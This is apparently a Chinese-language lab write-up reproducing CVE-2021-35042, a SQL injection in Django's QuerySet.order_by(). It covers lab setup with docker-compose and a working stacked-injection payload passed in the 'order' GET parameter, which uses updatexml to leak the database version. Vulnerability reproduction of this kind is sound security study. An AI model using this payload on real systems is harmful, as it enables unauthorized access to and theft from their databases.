登录 白背景

Django QuerySet.order_by() SQL 注入漏洞

CVE-2021-35042

漏洞描述

Django 在 2021 年 7 月 1 日发布了一个安全更新,修复了在 QuerySet 底下的 order_by 函数中存在的 SQL 注入漏洞

参考链接:

该漏洞需要用户可控 order_by 传入的值,在预期列的位置注入 SQL 语句。

环境搭建

Vulhub 执行如下命令编译及启动一个存在漏洞的 Django 3.2.4:

docker-compose build
docker-compose up -d

环境启动后,访问 http://your-ip:8000 即可看到 Django 默认首页。

漏洞复现

访问页面 http://your-ip:8000/vuln/,在 GET 参数中构造 order=-id,会得到根据 id 降序排列的结果:

http://your-ip:8000/vuln/?order=-id

image-20220222171428294

再构造 GET 参数 order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23 提交,其中 vuln_collectionvuln 应用下的模型 Collection

http://your-ip:8000/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23

成功注入 SQL 语句,利用堆叠注入获得信息:

image-20220222171548110